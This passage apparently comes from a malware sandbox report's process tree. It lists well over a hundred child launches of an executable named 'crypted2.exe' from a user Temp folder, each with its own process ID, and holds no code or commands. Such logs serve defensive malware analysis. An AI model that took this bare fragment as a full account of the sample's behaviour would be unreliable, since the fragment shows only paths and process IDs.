        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8700
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8708
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8732
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8756
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8764
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8772
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8788
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8800
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8812
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8824
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8844
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8856
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8872
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8884
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8892
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9000
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9048
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9064
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9072
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9080
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9088
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9096
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9104
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9112
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9120
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9128
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9148
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9160
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9168
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9200
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9212
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7688
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8040
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8036
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7628
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6604
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8232
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8012
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8408
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8416
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8472
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8420
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7504
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6776
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6324
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7384
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6552
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8656
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8200
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8680
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8696
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8112
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:1128
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8724
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8720
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8716
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6668
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8740
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8752
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8796
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8836
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8852
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9020
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9008
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9036
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7828
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:6788
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7612
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9044
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9188
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8608
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9196
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:1084
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:3876
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:432
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8996
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:7616
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:8624
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9024
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:1476
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5232
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:5600
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9224
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9244
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9264
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9276
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9288
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9340
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9368
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9384
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9392
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9404
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9448
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9464
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9488
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9504
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9512
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9520
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9540
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9552
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9564
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9572
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9580
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9588
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9604
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9612
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9620
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9628
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9732
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9744
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9764
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9780
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9792
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9800
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9808
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9816
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9824
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9832
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9840
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9848
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9856
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9864
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9872
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9880
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9888
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9900
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9908
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9916
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9928
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9936
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9944
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9952
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9964
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9972
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9980
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9988
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10000
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10008
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10016
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10024
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10032
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10040
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10048
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10056
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10068
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10080
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10092
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10100
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10108
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10116
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10124
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10132
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10140
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10160
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10168
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10176
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10188
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10200
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10208
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10216
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10224
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:10236
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9284
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9308
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9300
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9320
      - C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1005561001\crypted2.exe"
        6⤵
        
        PID:9324
